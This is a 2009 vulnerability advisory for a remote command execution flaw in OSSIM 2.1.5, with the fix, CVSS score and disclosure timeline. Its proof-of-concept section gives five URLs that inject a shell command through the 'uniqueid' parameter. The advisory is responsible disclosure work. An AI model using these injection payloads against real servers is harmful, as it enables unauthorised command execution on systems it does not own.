OSSIM v2.1.5 Remote Command Execution :

Date : 2009-12-16 Author : Nahuel Grisolia
Advisory Name: Remote Command Execution in OSSIM


Vulnerability Class: Remote Command Execution

Release Date: 12-16-2009

Affected Applications: Confirmed in OSSIM 2.1.5. Other versions may also be affected.

Affected Platforms: Multiple

Local / Remote: Remote

Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

Researcher: Nahuel Grisolía

Vendor Status: Acknowledged/Fixed. New release available (OSSIM 2.1.5-4)

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

OSSIM is prone to a remote command execution vulnerability because the software fails to adequately
sanitize user-supplied input.
Successful attacks can compromise the affected software and possibly the computer running OSSIM.

Proof of Concept:

http://server/ossim/sem/wcl.php?uniqueid=1;ls%20%3E%20/tmp/listing
http://server/ossim/sem/storage_graphs.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://server/ossim/sem/storage_graphs2.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://server/ossim/sem/storage_graphs3.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://server/ossim/sem/storage_graphs4.php?uniqueid=;ls%20%3E%20/tmp/listing;

Impact:

Direct execution of arbitrary code in the context of Webserver user.
Solution: Upgrade to OSSIM 2.1.5-4

Vendor Response:

2009-12-08 – Vulnerability is identified
2009-12-09 – Vendor is contacted
2009-12-09 – Vendor confirmed vulnerability
2009-12-16 – Vendor released fixed version
2009-12-16 – Vulnerability is published

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
ngrisolia <at> cybsec <dot> com
About CYBSEC S.A. Security Systems:
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(c) 2009 - CYBSEC S.A. Security Systems

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